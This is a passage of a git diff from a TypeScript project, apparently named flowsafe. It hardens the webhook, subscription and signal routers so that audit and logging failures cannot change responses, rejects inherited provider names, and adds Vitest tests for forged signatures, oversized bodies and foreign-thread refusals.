...(context.deploymentTag !== undefined - ? { deploymentTag: context.deploymentTag } - : {}), - actorId: context.actor.id, - threadId, - operation, - outcome, - ...(reason !== undefined ? { reason } : {}), - timestamp: new Date().toISOString(), - }); - }; - const auditCommittedMutation = async (): Promise => { try { - await audit('accepted'); + await auditSink.call(options, { + type: 'goal.objective', + ...(context.deploymentTag !== undefined + ? { deploymentTag: context.deploymentTag } + : {}), + actorId: context.actor.id, + threadId, + operation, + outcome, + ...(reason !== undefined ? { reason } : {}), + timestamp: new Date().toISOString(), + }); } catch (error) { - console.error( - JSON.stringify({ - type: 'goal.objective-audit-error', - threadId, - operation, - reason: error instanceof Error ? error.message : String(error), - }), - ); + try { + console.error( + JSON.stringify({ + type: 'goal.objective-audit-error', + threadId, + operation, + reason: hostErrorText(error, true), + }), + ); + } catch { + // Diagnostics cannot change the request's selected outcome. + } } }; @@ -522,7 +502,7 @@ export function createObjectiveRouter( } if (operation === 'clear') { await clearObjective(store, threadId); - await auditCommittedMutation(); + await audit('accepted'); return json({ ok: true }); } @@ -573,7 +553,7 @@ export function createObjectiveRouter( } await options.validateThreadTarget(context, { threadId }); await writeObjective(store, threadId, built.value); - await auditCommittedMutation(); + await audit('accepted'); return json({ objective: built.value }); } @@ -591,7 +571,7 @@ export function createObjectiveRouter( } await options.validateThreadTarget(context, { threadId }); await writeObjective(store, threadId, built.value); - await auditCommittedMutation(); + await audit('accepted'); return json({ objective: built.value }); } catch (error) { // A fence that could not be READ is not evidence the deployment is open, diff --git a/packages/flowsafe/src/signal-providers/subscription-routes.test.ts b/packages/flowsafe/src/signal-providers/subscription-routes.test.ts index 38f3bd13..2763c870 100644 --- a/packages/flowsafe/src/signal-providers/subscription-routes.test.ts +++ b/packages/flowsafe/src/signal-providers/subscription-routes.test.ts @@ -1,12 +1,11 @@ // SPDX-License-Identifier: Apache-2.0 -// createSubscriptionRouter — the human-only HTTP subscribe/unsubscribe surface -// (RA-009: NEVER exposed as model tools; nothing here mints capability, P8). The -// gate order mirrors createSignalRouter: resolve → thread-ownership → role → -// memory-id refusal → mutate. Committed mutations and probe-like post-auth -// denials are audited. import { describe, expect, it, vi } from 'vitest'; -import type { ActorContext, ApprovalRole } from '../approval-api/index.js'; +import { + type ActorContext, + ActorResolutionError, + type ApprovalRole, +} from '../approval-api/index.js'; import { resourceIdFromKey } from '../do-runner/index.js'; import { RunRouteError } from '../host-kit/index.js'; import { @@ -555,3 +554,216 @@ describe('createSubscriptionRouter', () => { } }); }); + +describe('createSubscriptionRouter audit isolation', () => { + it.each([ + 'accepted list', + 'store error', + ])('preserves the %s response with one failing audit call', async (outcome) => { + const factory = new InMemorySubscriptionStoreFactory(); + if (outcome === 'store error') { + vi.spyOn(factory.store(), 'listForThread').mockRejectedValue( + new Error('store failed'), + ); + } + const audit = vi.fn(async () => { + throw new ActorResolutionError('audit failed'); + }); + const logged = vi.spyOn(console, 'error').mockImplementation(() => { + throw new Error('logger failed'); + }); + const router = createSubscriptionRouter({ + resolve: async () => ctx('operator'), + subscriptions: factory, + validateThreadTarget: async () => undefined, + audit, + }); + try { + const response = await router(req('GET', 'acme_t1')); + expect(response?.status).toBe(outcome === 'accepted list' ? 200 : 500); + expect(await response?.json()).toEqual( + outcome === 'accepted list' + ? { subscriptions: [] } + : { error: 'internal error' }, + ); + expect(audit).toHaveBeenCalledExactlyOnceWith( + expect.objectContaining({ + action: 'list', + outcome: outcome === 'accepted list' ? 'accepted' : 'rejected', + ...(outcome === 'store error' ? { reason: 'internal-error' } : {}), + }), + ); + } finally { + logged.mockRestore(); + } + }); + it.each([ + ['role', 'viewer', 'acme_t1', {}, 403, 'forbidden', 'forbidden-role'], + [ + 'owner', + 'operator', + 'foreign', + {}, + 404, + 'thread not found', + 'resource-not-found', + ], + [ + 'memory id', + 'operator', + 'acme_t1', + { threadId: 'forged' }, + 400, + 'threadId is server-assigned (agent-memory ids are minted by the host)', + 'client-memory-id', + ], + [ + 'typed refusal', + 'operator', + 'acme_t1', + { + providerId: 'github', + externalResourceId: 'res:1', + resourceKey: 'owner', + }, + 422, + 'host refused subscription', + 'route-error-422', + ], + ] as const)('preserves the %s refusal when audit and diagnostics throw', async (_label, role, threadId, body, status, message, reason) => { + const audit = vi.fn(() => { + throw new RunRouteError(409, 'audit failed'); + }); + const logged = vi.spyOn(console, 'error').mockImplementation(() => { + throw new Error('logger failed'); + }); + const reconcilePolling = vi.fn(async () => undefined); + const { router, factory } = setup({ + role, + audit, + reconcilePolling, + validateThreadTarget: async () => { + throw new RunRouteError(422, 'host refused subscription'); + }, + }); + try { + const response = await router(req('POST', threadId, body)); + expect(response?.status).toBe(status); + expect(await response?.json()).toEqual({ error: message }); + expect(response?.headers.get('cache-control')).toBe('no-store'); + expect(audit).toHaveBeenCalledExactlyOnceWith({ + type: 'signal-provider.subscription', + actorId: 'op', + threadId, + action: 'subscribe', + outcome: 'rejected', + reason, + timestamp: expect.any(String), + }); + expect(logged).toHaveBeenCalledTimes(1); + expect(await factory.store().listForThread('acme_t1')).toEqual([]); + expect(reconcilePolling).not.toHaveBeenCalled(); + } finally { + logged.mockRestore(); + } + }); + + it.each([ + 'actor error', + 'message getter', + 'toString', + ])('preserves subscription commits and polling metadata when audit throws %s', async (failure) => { + const error = + failure === 'actor error' + ? new ActorResolutionError('audit failed') + : failure === 'message getter' + ? Object.defineProperty(new Error(), 'message', { + get() { + throw new Error('message failed'); + }, + }) + : { + toString() { + throw new Error('coercion failed'); + }, + }; + const events: SignalProviderAuditEvent[] = []; + const audit = vi.fn(async (event: SignalProviderAuditEvent) => { + events.push(event); + throw error; + }); + const reconcilePolling = vi + .fn(async () => undefined) + .mockRejectedValueOnce(error); + const logged = vi.spyOn(console, 'error').mockImplementation(() => { + throw new Error('logger failed'); + }); + const { router, factory } = setup({ audit, reconcilePolling }); + const body = { + providerId: 'github', + externalResourceId: 'res:1', + resourceKey: 'owner', + }; + try { + const subscribe = await router(req('POST', 'acme_t1', body)); + expect(subscribe?.status).toBe(200); + expect(await subscribe?.json()).toMatchObject({ + subscription: { + threadId: 'acme_t1', + providerId: 'github', + externalResourceId: 'res:1', + }, + }); + expect(await factory.store().listForThread('acme_t1')).toHaveLength(1); + const unsubscribe = await router(req('DELETE', 'acme_t1', body)); + expect(unsubscribe?.status).toBe(200); + expect(await unsubscribe?.json()).toEqual({ removed: true }); + expect(await factory.store().listForThread('acme_t1')).toEqual([]); + expect(events).toEqual([ + expect.objectContaining({ + action: 'subscribe', + outcome: 'accepted', + pollingLifecycle: 'failed', + reason: 'polling-reconcile-failed', + providerId: 'github', + externalResourceId: 'res:1', + }), + expect.objectContaining({ + action: 'unsubscribe', + outcome: 'accepted', + pollingLifecycle: 'reconciled', + providerId: 'github', + externalResourceId: 'res:1', + }), + ]); + expect(events[1]).not.toHaveProperty('reason'); + expect(audit).toHaveBeenCalledTimes(2); + expect(reconcilePolling).toHaveBeenCalledTimes(2); + expect(logged).toHaveBeenCalledTimes(3); + } finally { + logged.mockRestore(); + } + }); + + it('captures the audit callback and preserves its options receiver on a list', async () => { + let receiver: SubscriptionRouterOptions | undefined; + const audit = vi.fn(function (this: SubscriptionRouterOptions) { + receiver = this; + }); + const replacement = vi.fn(); + const options: SubscriptionRouterOptions = { + resolve: async () => ctx('operator'), + subscriptions: new InMemorySubscriptionStoreFactory(), + validateThreadTarget: async () => undefined, + audit, + }; + const router = createSubscriptionRouter(options); + options.audit = replacement; + const response = await router(req('GET', 'acme_t1')); + expect(response?.status).toBe(200); + expect(await response?.json()).toEqual({ subscriptions: [] }); + expect(audit).toHaveBeenCalledTimes(1); + expect(receiver).toBe(options); + expect(replacement).not.toHaveBeenCalled(); + }); +}); diff --git a/packages/flowsafe/src/signal-providers/webhook-route.test.ts b/packages/flowsafe/src/signal-providers/webhook-route.test.ts index 4f2f2a8e..ee5399a9 100644 --- a/packages/flowsafe/src/signal-providers/webhook-route.test.ts +++ b/packages/flowsafe/src/signal-providers/webhook-route.test.ts @@ -1,6 +1,7 @@ // SPDX-License-Identifier: Apache-2.0 import { describe, expect, it, vi } from 'vitest'; import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; +import { ActorResolutionError } from '../approval-api/index.js'; import { EXECUTION_PRINCIPAL_HEADER, type ExecutionFenceDatabase, @@ -489,6 +490,80 @@ describe('createWebhookRouter — verify before parse', () => { }); describe('createWebhookRouter — robustness', () => { + it.each([ + 'constructor', + 'toString', + '__proto__', + 'hasOwnProperty', + 'test', + ])('ignores inherited provider %s before secret or signature effects', async (providerId) => { + const verify = vi.fn(() => true); + const extract = vi.fn(() => ['res:1']); + const build = vi.fn(() => ({ source: 'test', kind: 'k', summary: 's' })); + const providers = Object.create({ + test: testProvider({ + verifyWebhookSignature: verify, + extractResourceIds: extract, + buildNotification: build, + }), + }) as Record; + const secretForProvider = vi.fn(() => 'secret'); + const store = new InMemorySubscriptionStoreFactory().store(); + const lookup = vi.spyOn(store, 'listByResource'); + const threads = stubThreads(); + const audit = vi.fn(); + const run = createWebhookRouter({ + providers, + subscriptions: store, + topology: createThreadTopology(threads.namespace), + secretForProvider, + audit, + }); + const request = new Request( + `http://host/api/signal-providers/${providerId}/webhook`, + { method: 'POST', body: '{}' }, + ); + + expect(await run(request)).toBeNull(); + expect(request.bodyUsed).toBe(false); + expect(secretForProvider).not.toHaveBeenCalled(); + expect(verify).not.toHaveBeenCalled(); + expect(extract).not.toHaveBeenCalled(); + expect(build).not.toHaveBeenCalled(); + expect(lookup).not.toHaveBeenCalled(); + expect(threads.addressed).toEqual([]); + expect(audit).not.toHaveBeenCalled(); + }); + + it.each([ + 'constructor', + 'test', + ])('accepts an explicitly registered own provider %s', async (providerId) => { + const verify = vi.fn(() => true); + const providers = Object.fromEntries([ + [providerId, testProvider({ verifyWebhookSignature: verify })], + ]); + const secretForProvider = vi.fn(() => 'secret'); + const run = createWebhookRouter({ + providers, + subscriptions: new InMemorySubscriptionStoreFactory().store(), + topology: createThreadTopology(stubThreads().namespace), + secretForProvider, + }); + + const response = await run( + new Request(`http://host/api/signal-providers/${providerId}/webhook`, { + method: 'POST', + body: '{}', + }), + ); + + expect(response?.status).toBe(200); + expect(await response?.json()).toEqual({ matched: 0, delivered: 0 }); + expect(secretForProvider).toHaveBeenCalledExactlyOnceWith(providerId); + expect(verify).toHaveBeenCalledTimes(1); + }); + function router(secret: string | undefined, provider = testProvider()) { const factory = new InMemorySubscriptionStoreFactory(); return { @@ -902,6 +977,43 @@ describe('createWebhookRouter and the deployment execution fence', () => { ); }); + it('preserves a locked fence refusal when audit and diagnostics fail', async () => { + const audit = vi.fn(async () => { + throw new ActorResolutionError('audit failed'); + }); + const logged = vi.spyOn(console, 'error').mockImplementation(() => { + throw new Error('logger failed'); + }); + const extract = vi.fn(() => ['res:1']); + const threads = stubThreads(); + const router = createWebhookRouter({ + providers: { test: testProvider({ extractResourceIds: extract }) }, + subscriptions: new InMemorySubscriptionStoreFactory().store(), + topology: createThreadTopology(threads.namespace), + secretForProvider: () => 'secret', + executionFence: await fenceAt('migration-locked'), + audit, + }); + try { + const response = await router(webhookRequest('good', {})); + expect(response?.status).toBe(503); + expect(await response?.json()).toMatchObject({ + reason: { code: 'EXECUTION_FENCED', state: 'migration-locked' }, + }); + expect(audit).toHaveBeenCalledExactlyOnceWith( + expect.objectContaining({ + outcome: 'rejected', + reason: 'execution-fenced', + contentBytes: 2, + }), + ); + expect(extract).not.toHaveBeenCalled(); + expect(threads.addressed).toEqual([]); + } finally { + logged.mockRestore(); + } + }); + it('still rejects a FORGED signature with 401 while locked', async () => { // #given — the verify stays first, so a forgery never learns the fence // state and never spends the delivery path. @@ -942,3 +1054,229 @@ describe('createWebhookRouter and the deployment execution fence', () => { expect(response?.status).toBe(200); }); }); + +describe('createWebhookRouter audit isolation', () => { + it.each([ + ['forged', 'bad', '{}', 1024, 401, 'invalid signature', 'forged-signature'], + [ + 'oversized', + 'good', + '{}', + 0, + 413, + 'payload too large', + 'payload-too-large', + ], + [ + 'malformed', + 'good', + '{', + 1024, + 400, + 'a JSON body is required', + 'malformed-body', + ], + ] as const)('preserves the %s refusal when the audit sink and diagnostic logger throw', async (_label, signature, body, maxBodyBytes, status, message, reason) => { + const audit = vi.fn(async () => { + throw new RunRouteError(409, 'audit failed'); + }); + const logged = vi.spyOn(console, 'error').mockImplementation(() => { + throw new Error('logger failed'); + }); + const threads = stubThreads(); + const extract = vi.fn(() => ['res:1']); + const store = new InMemorySubscriptionStoreFactory().store(); + const lookup = vi.spyOn(store, 'listByResource'); + const router = createWebhookRouter({ + providers: { test: testProvider({ extractResourceIds: extract }) }, + subscriptions: store, + topology: createThreadTopology(threads.namespace), + secretForProvider: () => 'secret', + deploymentTag: 'acme', + maxBodyBytes, + audit, + }); + try { + const response = await router( + new Request('http://host/api/signal-providers/test/webhook', { + method: 'POST', + headers: { 'x-sig': signature }, + body, + }), + ); + expect(response?.status).toBe(status); + expect(await response?.json()).toEqual({ error: message }); + expect(response?.headers.get('cache-control')).toBe('no-store'); + expect(audit).toHaveBeenCalledExactlyOnceWith({ + type: 'signal-provider.webhook', + providerId: 'test', + deploymentTag: 'acme', + outcome: 'rejected', + reason, + contentBytes: body.length, + timestamp: expect.any(String), + }); + expect(logged).toHaveBeenCalledTimes(1); + expect(extract).not.toHaveBeenCalled(); + expect(lookup).not.toHaveBeenCalled(); + expect(threads.addressed).toEqual([]); + } finally { + logged.mockRestore(); + } + }); + + it('retains the forgery audit budget when audit and error coercion fail', async () => { + const audit = vi.fn(() => { + throw { + toString() { + throw new Error('coercion failed'); + }, + }; + }); + const logged = vi.spyOn(console, 'error').mockImplementation(() => { + throw new Error('logger failed'); + }); + let now = 1000; + const router = createWebhookRouter({ + providers: { test: testProvider() }, + subscriptions: new InMemorySubscriptionStoreFactory().store(), + topology: createThreadTopology(stubThreads().namespace), + secretForProvider: () => 'secret', + audit, + maxForgeryAuditsPerWindow: 2, + forgeryAuditWindowMs: 1000, + now: () => now, + }); + try { + for (let i = 0; i < 4; i += 1) { + const response = await router(webhookRequest('bad', {})); + expect(response?.status).toBe(401); + expect(await response?.json()).toEqual({ error: 'invalid signature' }); + } + expect(audit).toHaveBeenCalledTimes(2); + now = 2000; + expect((await router(webhookRequest('bad', {})))?.status).toBe(401); + expect(audit).toHaveBeenCalledTimes(3); + } finally { + logged.mockRestore(); + } + }); + + it.each([ + ['delivered', 200, 200, { matched: 1, delivered: 1 }], + ['content denial', 422, 200, { matched: 1, delivered: 0, denied: 1 }], + ['address refusal', 404, 200, { matched: 1, delivered: 0, failed: 1 }], + ['deferred', 503, 503, { matched: 1, delivered: 0, deferred: 1 }], + ] as const)('retains the %s delivery outcome when audit and diagnostic logger throw', async (_label, downstreamStatus, status, payload) => { + const audit = vi.fn(async () => { + throw new ActorResolutionError('audit failed'); + }); + const logged = vi.spyOn(console, 'error').mockImplementation(() => { + throw new Error('logger failed'); + }); + const factory = new InMemorySubscriptionStoreFactory(); + await seed(factory, 'acme', 'acme_t1'); + const threads = stubThreadsWith(downstreamStatus); + const router = createWebhookRouter({ + providers: { test: testProvider() }, + subscriptions: factory.store(), + topology: createThreadTopology(threads.namespace), + secretForProvider: () => 'secret', + audit, + }); + try { + const response = await router(webhookRequest('good', {})); + expect(response?.status).toBe(status); + expect(await response?.json()).toEqual(payload); + expect(audit).toHaveBeenCalledExactlyOnceWith({ + type: 'signal-provider.webhook', + providerId: 'test', + outcome: 'accepted', + ...payload, + ...(downstreamStatus === 503 ? { reason: 'delivery-deferred' } : {}), + contentBytes: 2, + timestamp: expect.any(String), + }); + expect(threads.addressed).toEqual(['acme_t1']); + } finally { + logged.mockRestore(); + } + }); + + it.each([ + 'builder', + 'delivery', + ])('contains unreadable %s errors and continues subsequent delivery with a throwing logger', async (source) => { + const failure = Object.defineProperty(new Error(), 'message', { + get() { + throw new Error('message failed'); + }, + }); + const factory = new InMemorySubscriptionStoreFactory(); + await seed(factory, 'acme', 'acme_t1'); + await seed(factory, 'globex', 'globex_t1'); + const threads = stubThreads(); + const topology = createThreadTopology(threads.namespace); + const deliver = vi.spyOn(topology, 'send'); + if (source === 'delivery') deliver.mockRejectedValueOnce(failure); + const audit = vi.fn(async () => { + throw failure; + }); + const logged = vi.spyOn(console, 'error').mockImplementation(() => { + throw new Error('logger failed'); + }); + const router = createWebhookRouter({ + providers: { + test: testProvider({ + buildNotification: (_payload, row) => { + if (source === 'builder' && row.threadId === 'acme_t1') + throw failure; + return { source: 'test', kind: 'k', summary: 's' }; + }, + }), + }, + subscriptions: factory.store(), + topology, + secretForProvider: () => 'secret', + audit, + }); + try { + const response = await router(webhookRequest('good', {})); + const payload = { + matched: 2, + delivered: 1, + ...(source === 'builder' ? { failed: 1 } : { deferred: 1 }), + }; + expect(response?.status).toBe(source === 'builder' ? 200 : 503); + expect(await response?.json()).toEqual(payload); + expect(audit).toHaveBeenCalledExactlyOnceWith( + expect.objectContaining({ outcome: 'accepted', ...payload }), + ); + expect(threads.addressed).toEqual(['globex_t1']); + } finally { + logged.mockRestore(); + } + }); + + it('captures the audit callback and preserves its options receiver', async () => { + let receiver: WebhookRouterOptions | undefined; + const audit = vi.fn(function (this: WebhookRouterOptions) { + receiver = this; + }); + const replacement = vi.fn(); + const options: WebhookRouterOptions = { + providers: { test: testProvider() }, + subscriptions: new InMemorySubscriptionStoreFactory().store(), + topology: createThreadTopology(stubThreads().namespace), + secretForProvider: () => 'secret', + executionFence: 'none', + audit, + }; + const router = createWebhookRouterImpl(options); + options.audit = replacement; + expect((await router(webhookRequest('good', {})))?.status).toBe(200); + expect(audit).toHaveBeenCalledTimes(1); + expect(receiver).toBe(options); + expect(replacement).not.toHaveBeenCalled(); + }); +}); diff --git a/packages/flowsafe/src/signal-providers/webhook-route.ts b/packages/flowsafe/src/signal-providers/webhook-route.ts index 32bc8ad7..dbd07803 100644 --- a/packages/flowsafe/src/signal-providers/webhook-route.ts +++ b/packages/flowsafe/src/signal-providers/webhook-route.ts @@ -2,22 +2,6 @@ // Webhook ingress that terminates on the Worker, plus the human-only // subscribe/unsubscribe surface. // -// THE WEBHOOK GATE (its "auth" IS the signature, not a bearer token): -// 1. path + method match (else null / 405) -// 2. provider registered AND its secret configured (else null — route absent, -// byte-identical to an unconfigured deployment) -// 3. read the RAW bytes, size-capped (413) -// 4. VERIFY the provider signature over the raw bytes — BEFORE any parse, any -// subscription lookup, any delivery. A forged signature is REJECTED (401) -// and audited. No state is touched on the reject path. -// 5. parse JSON (400 on malformed) -// 6. extract the external resource key(s) from the payload -// 7. map key -> deployment subscription rows — the payload NEVER names a -// thread/resource; the row is the authority -// 8. per-provider deployment rate cap (429-equivalent: skip delivery, audited) -// 9. deliver each matched row through the topology (which validates the -// path-safe thread address), audit the accepted ingest -// // A forged-signature flood must not amplify into the audit log: the reject is // UNBOUNDED (every forgery is refused) but the forgery AUDIT is bounded to // `maxForgeryAuditsPerWindow` per provider per window (a fixed in-isolate @@ -45,6 +29,7 @@ import { isExecutionFenceRefusal, readExecutionFence, } from '../do-runner/index.js'; +import { hostErrorText } from '../host-kit/host-approval-service.js'; import { assertNoClientMemoryIds, type BoundThreadTargetValidator, @@ -270,18 +255,44 @@ export function createWebhookRouter( return true; }; + const reportError = (event: { + type: + | 'signal-provider.webhook-audit-error' + | 'signal-provider.webhook-delivery-error' + | 'signal-provider.webhook-delivery-rejected' + | 'signal-provider.webhook-error'; + providerId: string; + reason?: string; + terminal?: boolean; + status?: number; + }): void => { + try { + console.error(JSON.stringify(event)); + } catch { + // Diagnostics cannot change the request's selected outcome. + } + }; + const auditWebhook = async ( event: Omit, ): Promise => { if (!audit) return; - await audit({ - type: 'signal-provider.webhook', - ...(options.deploymentTag !== undefined - ? { deploymentTag: options.deploymentTag } - : {}), - timestamp: new Date().toISOString(), - ...event, - }); + try { + await audit.call(options, { + type: 'signal-provider.webhook', + ...(options.deploymentTag !== undefined + ? { deploymentTag: options.deploymentTag } + : {}), + timestamp: new Date().toISOString(), + ...event, + }); + } catch (error) { + reportError({ + type: 'signal-provider.webhook-audit-error', + providerId: event.providerId, + reason: hostErrorText(error, true), + }); + } }; return async (request) => { @@ -308,6 +319,7 @@ export function createWebhookRouter( // verify with a zero-length HMAC key (Node WebCrypto throws on it, and an // empty key that another runtime accepts would be a trivial forgery bypass): // `!secret` catches both undefined and ''. + if (!Object.hasOwn(providers, providerId)) return null; const provider = providers[providerId]; const secret = secretForProvider(providerId); if (!provider || !secret) return null; @@ -424,14 +436,12 @@ export function createWebhookRouter( built = provider.buildNotification(payload, row); } catch (error) { failed += 1; - console.error( - JSON.stringify({ - type: 'signal-provider.webhook-delivery-error', - providerId, - terminal: true, - reason: error instanceof Error ? error.message : String(error), - }), - ); + reportError({ + type: 'signal-provider.webhook-delivery-error', + providerId, + terminal: true, + reason: hostErrorText(error, true), + }); continue; } try { @@ -449,55 +459,41 @@ export function createWebhookRouter( if (outcome === 'denied') denied += 1; else if (outcome === 'failed') failed += 1; else deferred += 1; - console.error( - JSON.stringify({ - type: 'signal-provider.webhook-delivery-rejected', - providerId, - status: response.status, - terminal: isTerminalDelivery(outcome), - }), - ); + reportError({ + type: 'signal-provider.webhook-delivery-rejected', + providerId, + status: response.status, + terminal: isTerminalDelivery(outcome), + }); } catch (error) { const outcome = classifyDeliveryError(error); if (outcome === 'denied') denied += 1; else if (outcome === 'failed') failed += 1; else deferred += 1; - console.error( - JSON.stringify({ - type: 'signal-provider.webhook-delivery-error', - providerId, - terminal: isTerminalDelivery(outcome), - reason: error instanceof Error ? error.message : String(error), - }), - ); + reportError({ + type: 'signal-provider.webhook-delivery-error', + providerId, + terminal: isTerminalDelivery(outcome), + reason: hostErrorText(error, true), + }); } } - try { - await auditWebhook({ - providerId, - outcome: 'accepted', - matched: matched.length, - delivered, - ...(denied > 0 ? { denied } : {}), - ...(failed > 0 ? { failed } : {}), - ...(deferred > 0 ? { deferred } : {}), - ...(!deliveryAllowed - ? { reason: 'rate-limited' } - : deferred > 0 - ? { reason: 'delivery-deferred' } - : {}), - contentBytes: rawBody.length, - }); - } catch (error) { - console.error( - JSON.stringify({ - type: 'signal-provider.webhook-audit-error', - providerId, - reason: error instanceof Error ? error.message : String(error), - }), - ); - } + await auditWebhook({ + providerId, + outcome: 'accepted', + matched: matched.length, + delivered, + ...(denied > 0 ? { denied } : {}), + ...(failed > 0 ? { failed } : {}), + ...(deferred > 0 ? { deferred } : {}), + ...(!deliveryAllowed + ? { reason: 'rate-limited' } + : deferred > 0 + ? { reason: 'delivery-deferred' } + : {}), + contentBytes: rawBody.length, + }); // A deferred row answers the sender with a 5xx so its own at-least-once // redelivery is what recovers the notification; this deployment has // nowhere durable to park an unvetted provider payload, and losing an @@ -527,13 +523,11 @@ export function createWebhookRouter( error.status, ); } - console.error( - JSON.stringify({ - type: 'signal-provider.webhook-error', - providerId, - reason: error instanceof Error ? error.message : String(error), - }), - ); + reportError({ + type: 'signal-provider.webhook-error', + providerId, + reason: hostErrorText(error, true), + }); return json({ error: 'internal error' }, 500); } }; @@ -581,7 +575,7 @@ export type SubscriptionRouter = (request: Request) => Promise; export function createSubscriptionRouter( options: SubscriptionRouterOptions, ): SubscriptionRouter { - const { resolve, subscriptions } = options; + const { resolve, subscriptions, audit: auditSink } = options; const roles = options.roles ?? RUN_START_ROLES; const base = options.basePath ?? '/api/threads'; const baseSegments = base.split('/').filter(Boolean); @@ -628,6 +622,29 @@ export function createSubscriptionRouter( : 'list'; let context: ActorContext | undefined; + const reportError = ( + type: + | 'signal-provider.subscription-audit-error' + | 'signal-provider.polling-reconcile-error', + error: unknown, + providerId?: string, + ): void => { + try { + console.error( + JSON.stringify({ + type, + ...(context?.deploymentTag !== undefined + ? { deploymentTag: context.deploymentTag } + : {}), + ...(providerId !== undefined ? { providerId } : {}), + action, + reason: hostErrorText(error, true), + }), + ); + } catch { + // Diagnostics cannot change the request's selected outcome. + } + }; const audit = async ( outcome: 'accepted' | 'rejected', extra: { @@ -637,19 +654,27 @@ export function createSubscriptionRouter( reason?: string; } = {}, ): Promise => { - if (!options.audit || !context) return; - await options.audit({ - type: 'signal-provider.subscription', - ...(context.deploymentTag !== undefined - ? { deploymentTag: context.deploymentTag } - : {}), - actorId: context.actor.id, - threadId, - action, - outcome, - ...extra, - timestamp: new Date().toISOString(), - }); + if (!auditSink || !context) return; + try { + await auditSink.call(options, { + type: 'signal-provider.subscription', + ...(context.deploymentTag !== undefined + ? { deploymentTag: context.deploymentTag } + : {}), + actorId: context.actor.id, + threadId, + action, + outcome, + ...extra, + timestamp: new Date().toISOString(), + }); + } catch (error) { + reportError( + 'signal-provider.subscription-audit-error', + error, + extra.providerId, + ); + } }; const finishCommittedMutation = async ( @@ -666,42 +691,22 @@ export function createSubscriptionRouter( pollingLifecycle = 'reconciled'; } catch (error) { pollingLifecycle = 'failed'; - console.error( - JSON.stringify({ - type: 'signal-provider.polling-reconcile-error', - ...(context?.deploymentTag !== undefined - ? { deploymentTag: context.deploymentTag } - : {}), - providerId, - action, - reason: error instanceof Error ? error.message : String(error), - }), + reportError( + 'signal-provider.polling-reconcile-error', + error, + providerId, ); } } - try { - await audit('accepted', { - providerId, - externalResourceId, - ...(pollingLifecycle === undefined ? {} : { pollingLifecycle }), - ...(pollingLifecycle === 'failed' - ? { reason: 'polling-reconcile-failed' } - : {}), - }); - } catch (error) { - console.error( - JSON.stringify({ - type: 'signal-provider.subscription-audit-error', - ...(context?.deploymentTag !== undefined - ? { deploymentTag: context.deploymentTag } - : {}), - providerId, - action, - reason: error instanceof Error ? error.message : String(error), - }), - ); - } + await audit('accepted', { + providerId, + externalResourceId, + ...(pollingLifecycle === undefined ? {} : { pollingLifecycle }), + ...(pollingLifecycle === 'failed' + ? { reason: 'polling-reconcile-failed' } + : {}), + }); }; try { @@ -866,11 +871,7 @@ export function createSubscriptionRouter( if (error instanceof ActorResolutionError) { return json({ error: 'forbidden' }, 403); } - try { - await audit('rejected', { reason: 'internal-error' }); - } catch { - // Best-effort audit must not replace the generic response. - } + await audit('rejected', { reason: 'internal-error' }); return internalErrorResponse('signal-providers.subscription', error); } }; diff --git a/packages/flowsafe/src/signals/router.test.ts b/packages/flowsafe/src/signals/router.test.ts index 40066f29..560d4dbd 100644 --- a/packages/flowsafe/src/signals/router.test.ts +++ b/packages/flowsafe/src/signals/router.test.ts @@ -1,16 +1,18 @@ // SPDX-License-Identifier: Apache-2.0 -// The P6 ingestion trust boundary (createSignalRouter): the gate ORDER (401 → -// ownership → role → memory-id → allowlist/size/rate → audit → forward), each -// fail-closed, over mock resolve + topology seams. import { describe, expect, it, vi } from 'vitest'; -import type { ActorContext, ApprovalActor } from '../approval-api/index.js'; -import type { ThreadTopology } from '../host-kit/index.js'; +import { + type ActorContext, + ActorResolutionError, + type ApprovalActor, +} from '../approval-api/index.js'; +import { RunRouteError, type ThreadTopology } from '../host-kit/index.js'; import { createInMemorySignalRateLimiter, createSignalRouter, type SignalIngestAuditEvent, + type SignalRouterOptions, } from './router.js'; const OWNED_THREAD = 'acme_t1'; @@ -70,6 +72,14 @@ function post(path: string, body: unknown): Request { }); } +function deferred() { + let resolve!: (value: T) => void; + const promise = new Promise((done) => { + resolve = done; + }); + return { promise, resolve }; +} + describe('createSignalRouter — the P6 ingestion gate', () => { it.each([ -1, @@ -414,6 +424,523 @@ describe('createSignalRouter — the P6 ingestion gate', () => { expect(res?.status).toBe(405); }); + it.each([ + 'constructor', + 'toString', + '__proto__', + 'hasOwnProperty', + ])('does not resolve an inherited channel: %s', async (channel) => { + const { topology, calls } = recordingTopology(); + const resolve = vi.fn(async () => actorContext('operator')); + const audit = vi.fn(); + const router = createSignalRouter({ resolve, topology, audit }); + + expect( + await router(post(`/api/threads/${OWNED_THREAD}/${channel}`, {})), + ).toBeNull(); + expect(resolve).not.toHaveBeenCalled(); + expect(audit).not.toHaveBeenCalled(); + expect(calls).toEqual([]); + }); + + it.each([ + ['signal', '/signal'], + ['message', '/signal/message'], + ['queue', '/signal/queue'], + ['state', '/signal/state'], + ['notification', '/signal/notification'], + ])('forwards the own channel %s to %s', async (channel, path) => { + const { topology, calls } = recordingTopology(); + const router = createSignalRouter({ + resolve: async () => actorContext('operator'), + topology, + }); + expect( + (await router(post(`/api/threads/${OWNED_THREAD}/${channel}`, {}))) + ?.status, + ).toBe(200); + expect(calls).toEqual([{ threadId: OWNED_THREAD, path, body: '{}' }]); + }); + + it.each([ + 'admin', + 'viewer', + ] as const)('makes strict foreign and missing threads indistinguishable for %s before body or rate work', async (role) => { + const context = actorContext(role); + context.canAccessResource = vi.fn(async (_kind, id) => id !== 'missing'); + const validateThreadTarget = vi.fn(async () => { + throw new RunRouteError(404, 'private binding ownership detail'); + }); + const { topology, calls } = recordingTopology(); + const rateLimit = vi.fn(() => true); + const audit = vi.fn(); + const router = createSignalRouter({ + resolve: async () => context, + topology, + validateThreadTarget, + rateLimit, + audit, + }); + const responses = []; + for (const threadId of ['foreign', 'missing']) { + const request = post(`/api/threads/${threadId}/message`, '{'); + const response = await router(request); + expect(request.bodyUsed).toBe(false); + responses.push({ + status: response?.status, + headers: [...(response?.headers ?? [])], + body: await response?.text(), + }); + } + expect(responses[0]).toEqual(responses[1]); + expect(responses[0]).toEqual({ + status: 404, + headers: [ + ['cache-control', 'no-store'], + ['content-type', 'application/json'], + ], + body: '{"error":"thread not found"}', + }); + expect(validateThreadTarget).toHaveBeenCalledExactlyOnceWith( + expect.objectContaining({ actor: { id: 'opal', role } }), + { threadId: 'foreign' }, + ); + expect(rateLimit).not.toHaveBeenCalled(); + expect(calls).toEqual([]); + expect(audit.mock.calls.map(([event]) => event)).toEqual( + ['foreign', 